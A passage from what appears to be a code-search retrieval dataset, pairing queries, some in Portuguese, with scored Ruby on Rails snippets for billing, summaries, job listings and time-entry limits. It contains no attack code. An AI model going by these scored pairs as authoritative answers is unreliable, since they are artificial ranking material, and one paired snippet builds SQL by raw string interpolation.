params[:callback] }\n end\n end", "title": "" }, { "docid": "14c17d935a5425de62c417380390eeeb", "score": "0.571546", "text": "def job_summaries(params = {}) # rubocop:disable Style/OptionHash\n query = {\n \"statusGroups\": \"ALL\", # JOB_STATUS_GROUPS\n \"sortBy\": \"created\", # \"count\", \"title\", \"lead\", \"created\", \"status\"\n \"sortOrder\": \"ASC\" # \"ASC\", \"DESC\"\n }.merge(params)\n\n request(:get, \"applicant_tracking/jobs\", query: query)\n end", "title": "" }, { "docid": "2b4e0e1719532115021170a8c4f34880", "score": "0.5710215", "text": "def index\n @summaries = Summary.all\n @accounts = Account.all\n\n dailyTotals = DailyTotal.all\n monthlyTotals = MonthlyTotal.all\n\n # Calculating the monthly total by adding daily total values\n monthlyTotals.each { |mt|\n dailyTotals.each { |dt|\n if dt.date.year == mt.year && dt.date.month == mt.month\n mt.total += dt.total\n end\n } # end of inner dailyTotal loop\n } # end of monthlyTotal loop\n\n # For linechart to display monthly total spendings\n @mTotals = Array.new\n monthlyTotals.each { |mt|\n case mt.month\n when 1\n @mTotals.push([\"January\",mt.total.to_f])\n when 2\n @mTotals.push([\"February\",mt.total.to_f])\n when 3\n @mTotals.push([\"March\",mt.total.to_f])\n when 4\n @mTotals.push([\"April\",mt.total.to_f])\n when 5\n @mTotals.push([\"May\",mt.total.to_f])\n when 6\n @mTotals.push([\"June\",mt.total.to_f])\n when 7\n @mTotals.push([\"July\",mt.total.to_f])\n when 8\n @mTotals.push([\"August\",mt.total.to_f])\n when 9\n @mTotals.push([\"September\",mt.total.to_f])\n when 10\n @mTotals.push([\"October\",mt.total.to_f])\n when 11\n @mTotals.push([\"November\",mt.total.to_f])\n when 12\n @mTotals.push([\"December\",mt.total.to_f])\n end\n }\n\n @balanceSummary = Array.new\n @accounts.each { |account|\n @balanceSummary.push ([account.name,account.balance.to_f])\n }\n end", "title": "" }, { "docid": "e1239aeb41f806d786c1a6e7c18ed63c", "score": "0.57071376", "text": "def bills\n data = []\n data.push AdaptedMiscFee.represent(miscellaneous_fees)\n data.push AdaptedExpense.represent(object.expenses)\n data.flatten.as_json\n end", "title": "" }, { "docid": "d54866b19b93ba320bd46ff80cb0c840", "score": "0.5706364", "text": "def index\n @personal_banks = PersonalBank.all\n end", "title": "" }, { "docid": "7c7450b4cf43364120ebbf04222f2815", "score": "0.57035637", "text": "def show\n @bill = current_user_or_guest.bills \\\n .includes(participations: :person) \\\n .find(params[:id])\n\n respond_to do |format|\n format.html { @bill = @bill.decorate }\n format.xml { render xml: @bill }\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "b08939a0e8ee7aa1e14f185b2edca8ec", "score": "0.5702546", "text": "def index\n @ticketbills = Ticketbill.all\n end", "title": "" }, { "docid": "599acd0bcfd74e013384894053b80f83", "score": "0.5700818", "text": "def show\n @bill = Bill.find(params[:id])\n end", "title": "" }, { "docid": "e1fdab0ae8a9fb0b498201843284e1c1", "score": "0.57002276", "text": "def index\n @bill_comments = BillComment.all\n end", "title": "" }, { "docid": "9384649a5ba1adc7b7a2e6d82f4f12c1", "score": "0.56987417", "text": "def index\n if params[:page] == '1' and params[:per_page] == '10' and params[:sort_by] == 'count' and params[:order] == 'desc'\n burn_list = Rails.cache.fetch('burn_list') { CodeburnerUtil.get_burn_list }\n return render(:json => {count: Rails.cache.fetch('stats'){CodeburnerUtil.get_stats}[:burns], results: burn_list })\n end\n\n safe_sorts = ['id', 'service_id', 'service_name', 'revision', 'code_lang', 'repo_url', 'status']\n sort_by = 'burns.id'\n order = nil\n\n if params[:sort_by] == 'service_name'\n sort_by = \"services.pretty_name\"\n else\n sort_by = \"#{params[:sort_by]}\" if safe_sorts.include? params[:sort_by]\n end\n\n unless params[:order].nil?\n order = params[:order].upcase if ['ASC','DESC'].include? params[:order].upcase\n end\n\n burns = Burn.id(params[:id]) \\\n .service_id(params[:service_id]) \\\n .service_name(params[:service_name]) \\\n .revision(params[:revision]) \\\n .status(params[:status]) \\\n .order(\"#{sort_by} #{order}\") \\\n .page(params[:page]) \\\n .per(params[:per_page]) \\\n\n render(:json => {count: burns.total_count, results: burns})\n end", "title": "" }, { "docid": "52cdbc17d78908a9f136eca4fe15786d", "score": "0.5694876", "text": "def index\n @bills = Bill.all\n @categories = Category.all\n end", "title": "" }, { "docid": "6b347cc1668083d3cf193029a1d7bc8c", "score": "0.5684286", "text": "def index\n @villagesummaryreports = Villagesummaryreport.all\n end", "title": "" }, { "docid": "59640470ce7c101e09815ccbe471fe42", "score": "0.56829524", "text": "def summary(id)\n connection.get do |req|\n req.url \"job/#{id}/summary\"\n end\n end", "title": "" }, { "docid": "f63e441478d35bf3606ac2b93c5d56ad", "score": "0.5669349", "text": "def index\n @employee_bank_details = EmployeeBankDetail.all\n end", "title": "" }, { "docid": "1180a4dd06faea7d76a74ded991007b5", "score": "0.56453913", "text": "def index\n @borrow_histories = BorrowHistory.all\n end", "title": "" }, { "docid": "5af2fcf18daf731d602c7a3abfc5470a", "score": "0.56363684", "text": "def index\n @monthly_interests = MonthlyInterest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @monthly_interests }\n end\n end", "title": "" }, { "docid": "a0111d3d00198316d7545324642c9512", "score": "0.5635398", "text": "def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n f = find_budgets\n format.ext_json { render :json => f.to_ext_json(:class => :budget, \n :count => f.length,\n :methods=>[:total_budget_costs,:total_budget_invoices,:total_budget_pricings],\n :include=>{:user=>{:only=>\"login\"}}) }\n \n end\n end", "title": "" }, { "docid": "510880421245eb160a7773d90f2100bf", "score": "0.5629368", "text": "def index\n @bookmark_stats = BookmarkStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bookmark_stats }\n end\n end", "title": "" }, { "docid": "99816454b927eb2e572ef11ab9b2038a", "score": "0.56279576", "text": "def index\n @dashboards = current_user.dashboards\n if !params[:detail]\n render json: @dashboards, each_serializer: DashboardSummarySerializer \n else\n render json: @dashboards\n end\n end", "title": "" }, { "docid": "2dd6787e9491f81bdd76e796dbd25670", "score": "0.5625786", "text": "def index\n @bills = Bill.order(\"created_at DESC\")\n end", "title": "" }, { "docid": "bf572d63a43bff6a35fb5ccc9385d57e", "score": "0.56224686", "text": "def index\n @manifestation_checkout_stats = ManifestationCheckoutStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @manifestation_checkout_stats }\n end\n end", "title": "" }, { "docid": "a1106c8e308e3b2fef2674e19f3d2268", "score": "0.5622115", "text": "def show\n @breadcrumb = 'read'\n @bill = Bill.find(params[:id])\n @invoice = @bill.invoices.paginate(:page => params[:page], :per_page => per_page).order('id')\n # @items = @invoice.invoice_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n @billing_periods = billing_periods_dropdown\n if !@bill.water_supply_contract.nil?\n @water_supply_contract = @bill.water_supply_contract\n @contracting_request = @water_supply_contract.contracting_request\n respond_to do |format|\n format.html { render \"ag2_gest/contracting_requests/bill\" }\n format.json { render json: @bill }\n end\n else\n @reading = @bill.reading\n @subscriber = @bill.subscriber\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end\n end", "title": "" }, { "docid": "5dea84b18dd26997d80ed5abe57af1ba", "score": "0.56170017", "text": "def index\n @blogs = Blog.all\n\n render json: @blogs\n end", "title": "" }, { "docid": "b15ff5885b3c6d3fa79dce20e9b21da3", "score": "0.56057394", "text": "def index\n @banks = Bank.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banks }\n end\n end", "title": "" }, { "docid": "1a5f53faf0bfaf73690bc3dcbab5b9bf", "score": "0.56005627", "text": "def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end", "title": "" }, { "docid": "2be4ac318580718df89463acc891793b", "score": "0.5600133", "text": "def summary\n authenticated_post(\"summary\").body\n end", "title": "" }, { "docid": "0a6f4c48d66d393c06f1897b5539d50f", "score": "0.55801564", "text": "def show\n @summary = Summary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @summary }\n end\n end", "title": "" }, { "docid": "f4a40763e1b11c7d111be6ee0da08bae", "score": "0.55800647", "text": "def show\n @customer_bill = CustomerBill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_bill }\n end\n end", "title": "" }, { "docid": "c8c2aa2d7d82b61a2d8e14a404ddc637", "score": "0.55774987", "text": "def index\n @billables = Billable.all\n end", "title": "" }, { "docid": "d14ffc1712f42190c75100251c3da868", "score": "0.55746657", "text": "def index\n @bills = Bill\n @bills = Bill.all\n @bills = Bill.where(type_of_bill_id: params[:type_of_bill].to_i) if params[:type_of_bill]\n @bills = Bill.where(list_id: params[:list_id].to_i ) if params[:list_id]\n @count = @bills.count\n\n end", "title": "" } ]
96da5cbad68127aaef307c74781a1469
your only friends are make believe
[ { "docid": "19d00a49ddc12d984a4a4665b024e9a0", "score": "0.0", "text": "def friender_not_friendee\n if self.friendee_id == self.friender_id\n errors.add(:base, \"Can't be friends with self.\")\n return false\n end\n end", "title": "" } ]
[ { "docid": "353078801991a4edab87c57a22ba97a8", "score": "0.76922727", "text": "def excluded_friends\n pending_friends + blocked_friends + friends\n end", "title": "" }, { "docid": "46820d4c9319acb3349e416e9f77cc21", "score": "0.7517373", "text": "def friends\n self.invited(true) + self.invited_by(true)\n end", "title": "" }, { "docid": "472452371259bcdedb26e66ee9639dbc", "score": "0.7450461", "text": "def friends\n friends_array = confirmed_friends + confirmed_inverse_friends\n friends_array\n end", "title": "" }, { "docid": "b43ea32703e841f95cd70503e3724eb6", "score": "0.74270785", "text": "def good_friends\n friends & followers\n end", "title": "" }, { "docid": "eb21453d5ab865876932b018ba45948f", "score": "0.73967546", "text": "def all_friends\n \n end", "title": "" }, { "docid": "7716662fd011643b48b47bf3bf4830e7", "score": "0.7379289", "text": "def friends\n friends_array = friendships.map{|friendship| friendship.friend if friendship.confirmed}\n friends_array + inverse_friendships.map{|friendship| friendship.user if friendship.confirmed}\n friends_array.compact\n end", "title": "" }, { "docid": "1e6de53eb09a62b28a688537b51889ad", "score": "0.7353257", "text": "def friends\n direct_friends | inverse_friends\n end", "title": "" }, { "docid": "e6a5329cd3cf4e46169a1d7b02a13b48", "score": "0.73481536", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "e6a5329cd3cf4e46169a1d7b02a13b48", "score": "0.73481536", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "b5b2aa0cb0694bdd2d153a5a42ce15ed", "score": "0.73312324", "text": "def friends\n friends_array = friendships.map{ |friendship|\n friendship.friend if friendship.confirmed\n }\n\n friends_array += inverse_friendships.map{ |friendship|\n friendship.user if friendship.confirmed\n }\n friends_array.compact\n end", "title": "" }, { "docid": "7cf0e2e5e9e13e48e2e4dc2f3042d981", "score": "0.7326243", "text": "def friends\n friends_array = friendships.map{|friendship| friendship.friend if friendship.accepted }\n new_friends_array = friends_array + inverse_friendships.map{|friendship| friendship.user if friendship.accepted }\n new_friends_array.compact\n end", "title": "" }, { "docid": "1133c01c193b0eac80d26aa79c859cf4", "score": "0.7320927", "text": "def possible_friends\n User.all - self.requesters - self.requestees-self.friends-User.where(id:self.id)\n end", "title": "" }, { "docid": "5db217b3d5f676c355afb0445492058c", "score": "0.7320737", "text": "def friends_declined\n friends_already_declined = []\n \n self.declined_requests.each do |decision|\n friends_already_declined << decision.user\n end\n friends_already_declined.uniq! \n friends_already_declined\n end", "title": "" }, { "docid": "0eb6c3dce3922d2e7e5fcc62341163ac", "score": "0.73137623", "text": "def common_friends\n \n end", "title": "" }, { "docid": "4d1dc623b8f8257c7223c200ef9c3e33", "score": "0.7312741", "text": "def friends\n\tend", "title": "" }, { "docid": "1904d4084f9ff55f11978da2ba4ebcb8", "score": "0.7276492", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.acepted }.compact\n end", "title": "" }, { "docid": "5b31c22245052f2a12aba902ca9c1697", "score": "0.72492284", "text": "def friends\n friends_initiated | friends_received\n end", "title": "" }, { "docid": "65ecbe1ad15df5ac3c8d6dfca48497e5", "score": "0.7238264", "text": "def mutual_friends_for(friend)\n self.friends & friend.friends\n end", "title": "" }, { "docid": "b658bb0a0271a287b63c50dfb811de18", "score": "0.7222859", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "b658bb0a0271a287b63c50dfb811de18", "score": "0.7222859", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "b658bb0a0271a287b63c50dfb811de18", "score": "0.7222859", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "b658bb0a0271a287b63c50dfb811de18", "score": "0.7222859", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "b658bb0a0271a287b63c50dfb811de18", "score": "0.7222859", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "81bb9e2df011a67dcd66329f2657bca9", "score": "0.7196224", "text": "def friends_sharing_trainings\n friends( nil, true )\n end", "title": "" }, { "docid": "dbbff046b383d100c1fe1fa830bd9947", "score": "0.7193221", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "dbbff046b383d100c1fe1fa830bd9947", "score": "0.7193221", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "dbbff046b383d100c1fe1fa830bd9947", "score": "0.7193221", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "dbbff046b383d100c1fe1fa830bd9947", "score": "0.7193221", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "dbbff046b383d100c1fe1fa830bd9947", "score": "0.7193221", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "3b09c15d68caea24acffe9fff1425186", "score": "0.71720207", "text": "def friends\n requested_friends + requesting_friends\n end", "title": "" }, { "docid": "5c2c213043d3fd6d24e6260d3dc9337a", "score": "0.71649307", "text": "def friends\n active_friends | received_friends\nend", "title": "" }, { "docid": "2263b3f106c142261dcac7b240d450bb", "score": "0.7162879", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "2263b3f106c142261dcac7b240d450bb", "score": "0.7162879", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "2263b3f106c142261dcac7b240d450bb", "score": "0.7162879", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "2263b3f106c142261dcac7b240d450bb", "score": "0.7162879", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "2263b3f106c142261dcac7b240d450bb", "score": "0.7162879", "text": "def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "6fdb4b0dd20b1dc875cde18e0045f50e", "score": "0.7162834", "text": "def friends\n \tactive_friends | received_friends\n end", "title": "" }, { "docid": "aafa75019566687db4e2c9e1bdec53da", "score": "0.71513367", "text": "def friends_sharing_passages\n friends( true )\n end", "title": "" }, { "docid": "4113a4783d87d56dc64f49c18b3ce6a9", "score": "0.7138036", "text": "def pending_friends\n friendships.map { |friendship| friendship.requester unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "3bb6cf6cad0cc5264df6f4dcf5d5083c", "score": "0.7125133", "text": "def all_friends\n friends | inverse_friends \n end", "title": "" }, { "docid": "4c70147f6c9456b634a6eaa6c39ce40c", "score": "0.71195763", "text": "def elligible_friends\n # TODO: single query\n Member.where.not(id: id) - friends\n end", "title": "" }, { "docid": "3b5b4ece189e4e648e1d13189151132a", "score": "0.71167886", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "3b5b4ece189e4e648e1d13189151132a", "score": "0.71167886", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "a90b30e96d29ac6f94e3f441a408eafd", "score": "0.7115318", "text": "def not_friended_users\n User.all.select { |user| user != self && find_friendship(user).nil? }\n end", "title": "" }, { "docid": "f5a6fd1ffd39537d63881363a9834359", "score": "0.71086204", "text": "def are_friends?\n @are_friends\n end", "title": "" }, { "docid": "8c9c6abcc11caa08436ce2d6e8d3a7c3", "score": "0.7105776", "text": "def has_frienshipable_friends\n @all_other_users = User.where.not(id: self.id)\n friendshipable_friends = Array.new\n\n #find users not connected with you \n @all_other_users.each do |friendshipable_friend|\n if !(Friendship.exists?(friendable_id: friendshipable_friend.id , friend_id: self.id)||\n Friendship.exists?(friendable_id: self.id , friend_id: friendshipable_friend.id)) \n friendshipable_friends.push(friendshipable_friend)\n end\n end\n return friendshipable_friends\nend", "title": "" }, { "docid": "458d99be44229b9a2436672fae291806", "score": "0.71027523", "text": "def all_friends \n friends = []\n self.friends.each do |friend|\n friends << friend\n end\n self.inverse_friends.each do |friend|\n friends << friend\n end\n friends\n end", "title": "" }, { "docid": "2f499e0388cd136123b082b4cbb9df5a", "score": "0.7100566", "text": "def friend_list\n friends + inverse_friends\n end", "title": "" }, { "docid": "5b87b68f002d3fca8eb314d4a5142563", "score": "0.70966595", "text": "def friends\n followers & follows\n end", "title": "" }, { "docid": "bb913984ab20d093beee143fc9ee206d", "score": "0.7094141", "text": "def is_mutual\n self.friend.friends.include?(self.user)\n end", "title": "" }, { "docid": "9b2dffd9c11c864f274ffbe45bdbe4ea", "score": "0.70873016", "text": "def friends\n friends_arr = friendships.map do |friendship|\n friendship.friend if friendship.status\n end\n\n friends_arr += reverse_friendships.map do |friendship|\n friendship.user if friendship.status\n end\n\n friends_arr.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "0ea180c208da513350577e04364548c6", "score": "0.70672846", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "5b182d6624df0632a4f66e55e7fb6a92", "score": "0.706488", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.acepted }.compact\n end", "title": "" }, { "docid": "31856bc30679058f3cfecf6c1653f4b6", "score": "0.7059316", "text": "def friends\n User.all.select { |user| is_friend?(user) }\n end", "title": "" }, { "docid": "6e32a653168ab3b037a22f272f147f08", "score": "0.7056329", "text": "def common_friends(user2)\n self.friend_list & user2.friend_list\n end", "title": "" }, { "docid": "05eececa5b14f4fe0d7b99d2c68f1c5c", "score": "0.704849", "text": "def friends_not_declined(current_user)\n friends_in_group = []\n \n self.groups.each do |group|\n friends_in_group << group.friends_in_group(current_user)\n end\n friends_in_group.flatten!.uniq! \n \n friends_in_group - self.friends_declined\n end", "title": "" }, { "docid": "195592c4c093df607680381dfcb93bbf", "score": "0.7039989", "text": "def pending\n \tpending_friends | requested_friends\n end", "title": "" }, { "docid": "7feaea5dda74a122b0e584e9b0013795", "score": "0.70379144", "text": "def accepted_friends\n the_friends = []\n user_accepted_friends.each do |friend|\n the_friends.push(User.find(friend))\n end\n the_friends\n end", "title": "" }, { "docid": "4157264dcb654b9bb79ebf31532e6378", "score": "0.7030406", "text": "def friends\n self.direct_friends | self.inverse_friends\n end", "title": "" }, { "docid": "cbb01b8ebfe3844e40967fe69e9cab8b", "score": "0.7027845", "text": "def pending_friends\n friendships.map { |friendship| friendship.receiver unless friendship.status }.compact\n end", "title": "" }, { "docid": "99a1e64bd19aa66b866b7c4bc5b608bb", "score": "0.7019861", "text": "def friend_candidates\n User.all.keep_if { |other|\n User.public?(other.id) && # Exclude invisible users\n (other.sign_in_count && (other.sign_in_count > 0)) && # Excluded unconfirmed invites\n (other.id != id) # Don't include this user\n }\n end", "title": "" }, { "docid": "85520a893c805c08ce5dd10bef0038af", "score": "0.70161253", "text": "def friends\n return []\n end", "title": "" }, { "docid": "0673f4c0a3b4a8d2f52608f674df4cd8", "score": "0.7007512", "text": "def pending_friends\n inverse_friends.where(friendships: {accepted: false})\n end", "title": "" }, { "docid": "f5d7f5975c5e1e5c9a5bbfe12e9ddd56", "score": "0.7005266", "text": "def friend_requests\n inverse_friendships.select { |friendship|\n !friendship.confirmed\n }.compact\n end", "title": "" }, { "docid": "df59a94dde7fdfba9db26c6e5526e0bc", "score": "0.6987136", "text": "def friends_in_common receiver\n self.friends(true) & receiver.friends(true) if receiver.respond_to? :friends\n []\n end", "title": "" }, { "docid": "0127a39108cc5bf76b404c1b5a61c570", "score": "0.6980828", "text": "def friends\n\t active_friends | received_friends\n\tend", "title": "" }, { "docid": "64419455f19e71dc9cac9b607f481b9d", "score": "0.69744104", "text": "def asked_friends\n friendships = active_friendships\n if friendships.any?\n users = []\n friendships.each do |f|\n users << f.invited\n end\n users\n else\n false\n end\n end", "title": "" }, { "docid": "8ff57b758ddacb9aebbdffcbe1fab32e", "score": "0.69718826", "text": "def all_friends_including_pending\n friends = []\n self.pending_friends.each do |friend|\n friends << friend\n end\n self.inverse_pending_friends.each do |friend|\n friends << friend\n end\n friends + all_friends\n end", "title": "" }, { "docid": "e1ad4a2fabacab22ffa02a273eeac64a", "score": "0.69675994", "text": "def sent_requests\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end", "title": "" }, { "docid": "088a93825bb7ef23a22794c2c51a343b", "score": "0.6962979", "text": "def pending_friendships\n friendships.map{ |friendship|\n friendship.friend if !friendship.confirmed\n }.compact\n end", "title": "" }, { "docid": "72aa129b906c00fa6e36d560491e1901", "score": "0.695364", "text": "def friend_list\n @friends = current_user.friendships.accept.map{|fr| fr.friend } + current_user.inverse_friendships.accept.map{|fr| fr.user}\n\n @friends.uniq!\n end", "title": "" }, { "docid": "afa408c1c30dfbc05071350251e36b08", "score": "0.69401324", "text": "def friends\n friends = relationships.by_accepted_role(:friends).collect(&:users).flatten.uniq\n friends.delete(self)\n friends\n end", "title": "" }, { "docid": "95c5993583cfc1282b3a79c99e78c6e8", "score": "0.6936803", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.status }.compact\n end", "title": "" }, { "docid": "95c5993583cfc1282b3a79c99e78c6e8", "score": "0.6936803", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.status }.compact\n end", "title": "" }, { "docid": "95c5993583cfc1282b3a79c99e78c6e8", "score": "0.6936803", "text": "def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.status }.compact\n end", "title": "" }, { "docid": "59fba5506ff097678a1d9cd3e0dfb4e1", "score": "0.69298095", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "59fba5506ff097678a1d9cd3e0dfb4e1", "score": "0.69298095", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "59fba5506ff097678a1d9cd3e0dfb4e1", "score": "0.69298095", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "59fba5506ff097678a1d9cd3e0dfb4e1", "score": "0.69298095", "text": "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "title": "" }, { "docid": "45dcdba8784e470cb77cb27dda7b564d", "score": "0.6928276", "text": "def not_friends\n if user.friends.include?(friend)\n errors.add(:friend, 'is already added') \n end \n end", "title": "" }, { "docid": "51c328b707795158ff4b6032ea8d3d07", "score": "0.69243395", "text": "def proposed_friends\n friends.where(friendships: {accepted: false})\n end", "title": "" }, { "docid": "f62f40c2b6ba93a5bfed636ee7d93633", "score": "0.6921961", "text": "def pending\n pending_friends | inverse_pending_friends\n end", "title": "" }, { "docid": "1bd911f66993a8cdcb81686b709995bd", "score": "0.69217515", "text": "def users_not_in_friend_list\n User.where.not(id: self.friends.ids << self.id)\n end", "title": "" }, { "docid": "db8b365559066e4e0841b0cc00ec6cd5", "score": "0.69115365", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "db8b365559066e4e0841b0cc00ec6cd5", "score": "0.69115365", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "db8b365559066e4e0841b0cc00ec6cd5", "score": "0.69115365", "text": "def friends\n active_friends | received_friends\n end", "title": "" }, { "docid": "dfe95829e078cf3c845a96df50d6958c", "score": "0.69105136", "text": "def friends\n\t\tincoming_friends | outcoming_friends\n\tend", "title": "" }, { "docid": "c6945799a8b37f9c09117104703c83ac", "score": "0.6894835", "text": "def friend_requests\n inverse_friendships.map { |fr| fr.user unless fr.status }.compact\n end", "title": "" }, { "docid": "b25d63f7bfcee6d5d6ec4901ec46819f", "score": "0.6887961", "text": "def is_friend?(other)\n \tfollowing.include?(other)\n end", "title": "" }, { "docid": "7d2cced8200de2936cbf469b2c8bac5c", "score": "0.6885244", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.status }.compact\n end", "title": "" }, { "docid": "7d2cced8200de2936cbf469b2c8bac5c", "score": "0.6885244", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.status }.compact\n end", "title": "" }, { "docid": "7d2cced8200de2936cbf469b2c8bac5c", "score": "0.6885244", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.status }.compact\n end", "title": "" }, { "docid": "7d2cced8200de2936cbf469b2c8bac5c", "score": "0.6885244", "text": "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.status }.compact\n end", "title": "" }, { "docid": "d319729f2e522818af0121c6fee2e360", "score": "0.68830585", "text": "def pending_friends\n friendships.map{|friend| friend.friend_id if !friend.accepted}.compact\n\n end", "title": "" }, { "docid": "6172ace058c7d03b46ac54257a51aab6", "score": "0.6872922", "text": "def unblocked_friends\n self.friends.where(\"friendships.is_blocked=false\")\n end", "title": "" }, { "docid": "7c62513959c28e592888462466674823", "score": "0.6854993", "text": "def pending_or_accepted_friends\n self.friends + self.pending_friends\n end", "title": "" } ]
d3c58c93ca21cb3c6d97582f0a79dec8
Travar mais de X horas de apontamento no mesmo dia Retorna a quantidade de horas apontadas por um usuario num determinado dia Alterado metodo para receber tambem o id do time_entry e excluilo na soma porque quando e editado um valor ele conta novamente para o calculo de restricao
[ { "docid": "9c0b1c91326417e26bfb8e8e1942c265", "score": "0.49049416", "text": "def get_hours_spent_on_day_by_user(user, date, exclude_time_entry_id=nil)\n if user and date\n conditions = \"#{TimeEntry.table_name}.user_id = #{user.id} and #{TimeEntry.table_name}.spent_on = '#{date}'\"\n conditions += \" and #{TimeEntry.table_name}.id <> #{exclude_time_entry_id}\" if exclude_time_entry_id\n hours = TimeEntry.where(conditions).all.map(&:hours).sum\n hours if hours\n end\n end", "title": "" } ]
[ { "docid": "7d3b0a6f28f2e364acf44ba39c25993d", "score": "0.6080708", "text": "def validar_hora\n if(self.status == \"Deferido\")\n x = User.find(self.user_id)\n x.cargahoraria_total[self.grupo] += self.hora_computada\n x.cargahoraria[self.grupo] += self.hora_computada\n if(x.cargahoraria[self.grupo] > MAXIMO[self.grupo])\n x.cargahoraria[self.grupo] = MAXIMO[self.grupo]\n end\n if(self.grupo <= 7)\n x.cargahoraria_total[19] = (x.cargahoraria_total[0] + x.cargahoraria_total[1] + x.cargahoraria_total[2] + x.cargahoraria_total[3] + x.cargahoraria_total[4] + x.cargahoraria_total[5] + x.cargahoraria_total[6] + x.cargahoraria_total[7])\n x.cargahoraria[19] = (x.cargahoraria[0] + x.cargahoraria[1] + x.cargahoraria[2] + x.cargahoraria[3] + x.cargahoraria[4] + x.cargahoraria[5] + x.cargahoraria[6] + x.cargahoraria[7])\n if(x.cargahoraria[19] > MAXIMO[19])\n x.cargahoraria[19] = MAXIMO[19]\n end\n else\n if(self.grupo <= 11)\n x.cargahoraria_total[20] = (x.cargahoraria_total[8] + x.cargahoraria_total[9] + x.cargahoraria_total[10] + x.cargahoraria_total[11])\n x.cargahoraria[20] = (x.cargahoraria[8] + x.cargahoraria[9] + x.cargahoraria[10] + x.cargahoraria[11])\n if(x.cargahoraria[20] > MAXIMO[20])\n x.cargahoraria[20] = MAXIMO[20]\n end\n else\n x.cargahoraria_total[21] = (x.cargahoraria_total[12] + x.cargahoraria_total[13] + x.cargahoraria_total[14] + x.cargahoraria_total[14] + x.cargahoraria_total[16] + x.cargahoraria_total[17] + x.cargahoraria_total[18])\n x.cargahoraria[21] = 